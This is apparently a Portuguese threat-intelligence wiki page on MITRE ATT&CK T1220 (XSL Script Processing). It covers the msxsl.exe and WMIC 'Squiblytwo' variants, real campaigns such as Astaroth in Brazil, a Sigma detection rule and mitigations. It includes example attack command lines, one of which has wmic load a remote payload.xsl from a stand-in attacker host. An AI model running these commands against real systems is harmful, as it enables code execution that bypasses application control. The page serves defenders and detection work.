# T1220 - XSL Script Processing ## Descrição **T1220 - XSL Script Processing** é uma técnica de [[_defense-evasion|Defense Evasion]] em que adversários abusam da capacidade de processamento de scripts do padrão XSL (Extensible Stylesheet Language) para executar código arbitrário, contornando soluções de controle de aplicação e whitelisting. A técnica é classificada no MITRE ATT&CK como mecanismo de execução indireta via ferramenta confiável - similar a [[t1127-trusted-developer-utilities-proxy-execution|Trusted Developer Utilities Proxy Execution]]. XSL é um padrão W3C projetado para transformar e renderizar dados XML. Para suportar transformações complexas, a específicação permite embutir scripts em linguagens como JavaScript, VBScript e C# diretamente dentro de arquivos `.xsl`. Adversários exploram essa capacidade para encapsular shellcode, downloaders ou implantes completos dentro de arquivos que aparentemente são apenas transformações de dados XML. Existem duas variantes principais da técnica: **Variante 1 - msxsl.exe (MSXSL):** Usa o utilitário de linha de comando `msxsl.exe` da Microsoft para processar arquivos XSL contendo scripts maliciosos. Como `msxsl.exe` não é instalado por padrão, o adversário precisa entregá-lo junto com o payload - porém, por ser um binário assinado pela Microsoft, tende a passar despercebido por controles de whitelist baseados em assinatura. **Variante 2 - "Squiblytwo" (WMIC + XSL):** Abusa do [[t1047-windows-management-instrumentation|Windows Management Instrumentation]] (WMIC) com o switch `/FORMAT` para carregar e executar scripts JScript ou VBScript embutidos em um arquivo XSL local ou remoto. Esta variante é mais perigosa por utilizar `wmic.exe`, um binário presente em todas as instalações do Windows e amplamente whitelisted em ambientes corporativos. > **Técnica relacionada:** [[t1218-010-regsvr32|T1218.010 - Regsvr32 ("Squiblydoo")]] - mesma família de LOLBins (Living off the Land Binaries) que usa binários do Windows para execução proxy. --- ## Como Funciona ### Variante msxsl.exe O `msxsl.exe` aceita dois argumentos: um arquivo XML de origem e um arquivo XSL de folha de estilo. O arquivo XSL pode conter blocos `<msxsl:script>` com código JavaScript ou VBScript que é executado durante o processamento da transformação. Como o arquivo XSL é XML válido, o adversário pode usar o mesmo arquivo tanto como fonte quanto como folha de estilo. Exemplos de linha de comando observados: ``` msxsl.exe dados.xml payload.xsl msxsl.exe payload.xsl payload.xsl msxsl.exe payload.jpeg payload.jpeg ``` A extensão do arquivo é ignorada pelo `msxsl.exe` - qualquer arquivo com conteúdo XSL válido será processado, independentemente da extensão. Isso permite que adversários disfarcem o arquivo malicioso com extensões inócuas (`.jpeg`, `.txt`, `.dat`). ### Variante Squiblytwo (WMIC) O `wmic.exe` possui um switch `/FORMAT` que aceita um arquivo XSL (local ou via URL remota) para formatar a saída de um comando WMI. O arquivo XSL é processado pelo motor MSXML, que executa qualquer script embutido: ``` wmic process list /FORMAT:evil.xsl wmic os get /FORMAT:"https://attacker.com/payload.xsl" ``` A variante remota é especialmente poderosa: o arquivo XSL é baixado e executado em memória sem tocar o disco local, tornando a detecção baseada em hash ineficaz. ### Estrutura de um XSL malicioso (exemplo genérico de referência) Um arquivo XSL malicioso típico utiliza a tag `<msxsl:script>` com namespace `urn:schemas-microsoft-com:xslt` para embutir código de script que é executado pelo motor XSLT do Windows durante o processamento da transformação. O código pode referenciar objetos COM do Windows (como `WScript.Shell` ou `Scripting.FileSystemObject`) para executar comandos do sistema, baixar payloads secundários ou estabelecer comúnicação com infraestrutura C2. --- ## Attack Flow ```mermaid graph TB A([Adversário]) --> B[Prepara arquivo XSL malicioso<br/>com script embutido] B --> C{Vetor de entrega} C --> D[Entrega via Phishing<br/>arquivo .xsl, .xml, ou disfarçado] C --> E[Entrega via URL remota<br/>hostedado em infraestrutura C2] D --> F[Execução via msxsl.exe] D --> G[Execução via wmic /FORMAT local] E --> G E --> H[Execução via wmic /FORMAT remoto<br/>Download + exec in-memory] F --> I[Motor XSLT executa<br/>script embutido] G --> I H --> I I --> J{Ação do script} J --> K[Download de payload<br/>de segundo estágio] J --> L[Execução de shellcode<br/>em memória] J --> M[Estabelece persistência<br/>via COM/registro] K --> N([Implante ativo / C2]) L --> N M --> N style A fill:#c0392b,color:#fff style I fill:#e67e22,color:#fff style N fill:#2c3e50,color:#fff style H fill:#8e44ad,color:#fff ``` --- ## Exemplos de Uso ### Cobalt Group O [[g0080-cobalt-group|Cobalt Group]] - grupo criminoso especializado em ataques a instituições financeiras - utilizou T1220 como parte de sua cadeia de ataque contra bancos em múltiplos países, incluindo operações documentadas contra instituições na Rússia, Europa Oriental e LATAM. O grupo usou `msxsl.exe` para executar scripts JavaScript que baixavam e executavam o [[s0154-cobalt-strike|Cobalt Strike]] beacon a partir de infraestrutura C2 controlada. ### Higaisa O grupo [[g0126-higaisa|Higaisa]], ligado a interesses norte-coreanos, foi documentado usando XSL Script Processing em campanhas de espionagem contra alvos governamentais e de defesa. A técnica foi usada para contornar soluções de antivírus em ambientes altamente protegidos, onde binários não assinados seriam bloqueados. ### Astaroth (LATAM) O malware [[s0373-astaroth|Astaroth]], extensamente documentado em ataques contra usuários brasileiros, usa a variante WMIC Squiblytwo para carregar seus componentes. O fluxo típico: 1. Usuário executa arquivo `.lnk` ou `.js` recebido por [[t1566-phishing|Phishing]] 2. Script inicial invoca `wmic.exe` com `/FORMAT` apontando para URL remota 3. Arquivo XSL remoto contém JavaScript que baixa e injeta o loader do [[s0373-astaroth|Astaroth]] 4. Toda a cadeia roda em processos confiáveis do Windows, sem criar arquivos PE suspeitos Esta técnica foi central nas campanhas do [[s0373-astaroth|Astaroth]] documentadas pela equipe do Google TAG e pela Cisco Talos em 2019-2020, com vítimas concentradas no setor financeiro e varejo brasileiro. --- ## Detecção ### Indicadores de comportamento - Processo `wmic.exe` com argumento `/FORMAT` apontando para arquivo `.xsl` ou URL HTTP/HTTPS - Processo `msxsl.exe` executado - especialmente se não instalado originalmente no sistema - `wmic.exe` gerando processos filhos incomuns (ex: `cmd.exe`, `powershell.exe`, `wscript.exe`) - Conexões de rede originadas de `wmic.exe` para IPs/domínios externos - Arquivos XSL criados em pastas temporárias seguidos de execução via `msxsl.exe` ou `wmic.exe` ### Regra Sigma ```yaml title: XSL Script Processing via WMIC or msxsl (Squiblytwo / T1220) id: 7c2a1e4f-83b5-4d67-a9c3-5f8e2d1b6a04 status: stable description: > Detecta uso de wmic.exe com /FORMAT para executar XSL scripts locais ou remotos (Squiblytwo), e uso de msxsl.exe para execução de scripts XSL - técnicas de bypass de application control (T1220). references: - https://attack.mitre.org/techniques/T1220/ - https://lolbas-project.github.io/lolbas/Binaries/Wmic/ - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/ author: RunkIntel daté: 2026-03-25 tags: - attack.defense_evasion - attack.t1220 logsource: category: process_creation product: windows detection: selection_wmic: Image|endswith: '\wmic.exe' CommandLine|contains: '/FORMAT' selection_wmic_remote: CommandLine|contains: - 'http://' - 'https://' - '.xsl' - '.xml' selection_msxsl: Image|endswith: '\msxsl.exe' condition: selection_msxsl or (selection_wmic and selection_wmic_remote) falsepositives: - Ferramentas de administração legítimas que usam wmic /FORMAT para relatórios - Scripts de inventário corporativo level: high ``` ### Fontes de dados recomendadas | Fonte | Evento | Descrição | |-------|--------|-----------| | Sysmon (Event ID 1) | ProcessCreaté | Detecta execução de `wmic.exe` e `msxsl.exe` com argumentos suspeitos | | Sysmon (Event ID 3) | NetworkConnect | Conexão de rede originada de `wmic.exe` | | Windows Security Log (4688) | Process Creation | Criação de processo (requer auditoria ativada) | | EDR Command Line Telemetry | - | Análise de linha de comando de `wmic.exe` com `/FORMAT` | | DNS Query Logs | - | Queries DNS originadas de `wmic.exe` | --- ## Mitigação | ID | Mitigação | Descrição | |----|-----------|-----------| | M1038 | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Bloquear execução de `msxsl.exe` via AppLocker ou WDAC. Criar regra de deny para `msxsl.exe` se não utilizado na organização | | - | Restrição de WMIC | Desativar WMIC via GPO (`Software\Policies\Microsoft\Windows\WMI`) em estações que não necessitam do recurso | | - | Bloqueio de WMIC /FORMAT remoto | Bloquear `wmic.exe` de realizar conexões HTTP/HTTPS via regras de firewall de host ou WDAC | | - | Network Segmentation | Usar proxy web com inspeção SSL para bloquear downloads de `.xsl` em tempo real | | - | Application Whitelisting | Implementar política de controle de aplicação que restrinjá execução de scripts via LOLBins | --- ## Contexto Brasil/LATAM O T1220 tem relevância operacional elevada no Brasil devido à predominância de [[s0373-astaroth|Astaroth]] e famílias derivadas que dependem da variante WMIC Squiblytwo como mecanismo central de carga. **Por que é tão eficaz no Brasil:** 1. **Alta adoção de Windows legado:** Muitas organizações brasileiras - especialmente no setor financeiro e varejo - ainda operam com Windows 7 e Windows 10 desatualizado, onde o `wmic.exe` não tem restrições de execução e o EDR pode não ter visibilidade de argumentos de linha de comando. 2. **Exclusões amplas de AV:** Soluções antivírus corporativas frequentemente excluem processos do sistema como `wmic.exe` de scans ativos, tornando a execução de XSL malicioso completamente invisível para essas ferramentas. 3. **Campanhas ativas documentadas:** O [[s0373-astaroth|Astaroth]] foi identificado pela Microsoft, Cisco Talos e CERT.br como ameaça ativa no ecossistema brasileiro. Em 2019, a Microsoft reportou que o [[s0373-astaroth|Astaroth]] era distribuído exclusivamente via Squiblytwo, com infraestrutura C2 hospedada em CDNs legítimos (YouTube, Facebook) para evasão de proxy. **Grupos e campanhas relacionados ao LATAM:** - [[g0080-cobalt-group|Cobalt Group]]: documentado em operações contra bancos latino-americanos - [[ta505|TA505]]: usa técnicas similares em campanhas de distribuição de malware bancário na região - Grupos de ransomware têm adotado XSL como estágio inicial antes do deploy do encryptador --- ## Referências - [MITRE ATT&CK - T1220](https://attack.mitre.org/techniques/T1220/) - [LOLBAS - wmic.exe](https://lolbas-project.github.io/lolbas/Binaries/Wmic/) - [LOLBAS - msxsl.exe](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/) - [Microsoft - Astaroth malware analysis (2019)](https://www.microsoft.com/en-us/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/) - [[g0080-cobalt-group|Cobalt Group]] - threat actor que usa esta técnica - [[g0126-higaisa|Higaisa]] - threat actor que usa esta técnica - [[s0373-astaroth|Astaroth]] - malware brasileiro que depende de Squiblytwo - [[t1047-windows-management-instrumentation|T1047 - Windows Management Instrumentation]] - abusado pela variante Squiblytwo - [[t1127-trusted-developer-utilities-proxy-execution|T1127 - Trusted Developer Utilities Proxy Execution]] - técnica da mesma família - [[t1218-010-regsvr32|T1218.010 - Regsvr32 (Squiblydoo)]] - contraparte da variante Squiblytwo - [[m1038-execution-prevention|M1038 - Execution Prevention]] - mitigação recomendada